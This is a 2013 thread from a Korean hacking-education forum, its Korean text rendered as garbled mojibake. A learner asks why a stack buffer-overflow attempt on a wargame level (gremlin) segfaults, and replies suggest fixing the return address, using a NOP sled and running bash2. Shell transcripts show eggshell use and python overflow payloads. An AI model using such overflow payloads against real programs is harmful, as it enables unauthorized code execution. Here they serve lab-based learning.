½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   tranx
   bof ¿øÁ¤´ë Áú¹®µå¸³´Ï´Ù.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1659 [º¹»ç]


bof¸¦ ¹è¿ì°í½Í¾î ¿øÁ¤´ë ¼­¹ö¸¦ ´Ù¿îÇϰí

¸î°³ ³­°üÀ» °ÅÃÄ ½ÇÇàÀ» Çߴµ¥¿ä.

Ç®À̸¸ º¸°í ±×´ë·Î µû¶óÇߴµ¥ ¸¶Áö¸·¿¡

Segmentation fault ¿¡·¯°¡ ¶å´Ï´Ù.

¼ø¼­´Â ´ÙÀ½°ú°°ÀÌ Çß½À´Ï´Ù.

1. °ø°³µÈ ¿¡±×½©À» ¹Þ¾Æ ÄÄÆÄÀÏ

2. °ø°ÝÁÖ¼Ò È®ÀÎ ÈÄ ¸í·É¾î ÀÔ·Â

[gate@localhost gate]$ ./egg
Using address: 0xbffff208
[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260 +"\x28\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(ûÿ¢¯
Segmentation fault

ÁøÇàÇÒ¼ö ÀÖµµ·Ï Á¶¾ðÀ̳ª ´äº¯ ºÎʵ右´Ï´Ù.

  Hit : 3987     Date : 2013/03/08 01:59



    
aalswn ¼¼±× ¶á°Å´Â ¸®ÅϾîµå·¹½º°¡ À߸øµÈ´Ù´Â°Ç´ë

¿¡±×½©¾²Áö¸»°í NOP ½½¶óÀÌµå ·Î ÇØº¸¼¼¿ä
2013/03/08  
cd80 ±× Ç®ÀÌ¿¡¼­ ./eggÇßÀ»¶§
Using address: 0xbffffb28ÀÌ ³ª¿Â°Å°°Àºµ¥
ÀÛ¼ºÀÚ´Ô °æ¿ì¿¡´Â
Using address: 0xbffff208ÀÌ ³ª¿À¼ÌÀ¸¹Ç·Î
./gremlin `python -c 'print "A"*260 + "\x08\xf2\xff\xbf"'` À¸·Î ÇØÁÖ¼Å¾ß ÇÕ´Ï´Ù
2013/03/09  
chlxogns92 bof¿øÁ¤´ë ¼­¹ö¿¡¼­´Â ½©¿¡ ¹ö±×°¡ À־ \xff°¡ ÀνÄÀÌ ¾ÈµÇ´Â ¹ö±×°¡ ÀÖ´Â°Ç ¾Æ½Ã³ª¿©? 2013/03/09  
aalswn bash 2·Î ½ÇÇàÇØº¸½Ã°í

egg ½©¿¡¼­ ³ª¿Â ÁÖ¼Ò°¡ ¿ÀŸ³µ³×¿ä.. 08 À» 28 À¸·Î
2013/03/09  
tranx ´äº¯ÁÖ½ÅºÐµé ¸ðµÎ °¨»çµå¸³´Ï´Ù. ´Ù½ÃÇѹø ÇØº¼°Ô¿ä. 2013/03/11  
tranx ÁÖ¼Ò¸¦ ¸Â°Ô Çߴµ¥ ¾ÈµÇ´Â°Í °°½À´Ï´Ù..
À­ºÐ ´äº¯ Á̴ּø´ë·Î NOP ½½¶óÀ̵带 ã¾ÆºÁ¾ß ÇҰ۰¾Æ¿ä.

[gate@localhost gate]$ ./egg
Using address: 0xbffffb58
[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260 + "\x58\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXûÿ¢¯
Segmentation fault (core dumped)
[gate@localhost gate]$ bash2
[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260 + "\x58\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXûÿ¢¯
Segmentation fault (core dumped)
[gate@localhost gate]$
2013/03/11  
chlxogns92 ¾Æ¸¶ bash2¸¦ »ç¿ëÇϸé egg¸¦ ´Ù½ÃÇѹø ½ÇÇàÇØ¼­ ÁÖ¼Ò¸¦ ´Ù½Ã ã¾ÆºÁ¾ßÇÒ °Å¿¡¿ä.
±×¸®°í ¾Æ¸¶ ¿Ø¸¸Çؼ± ¿¡±×½©¿¡ nopÀÌ ¹ÚÇôÀÖÀ»ÅÙµ¥..
nop sled ã¾Æº¸½Ã°í ´Ù½ÃÇØº¸¼¼¿©

coreºÐ¼®¹æ¹ý ã¾Æ¼­ dumpµÈ coreºÐ¼®µµ ÇÑ ¹ø ÇØº¸½Ã°í¿ä.
2013/03/12  
qkrwncks96 $ bash2

ÀÔ·ÂÈÄ ÀͽºÇ÷ÎÀÕÀ» ½ÃµµÇϼ¼¿ä
2013/04/01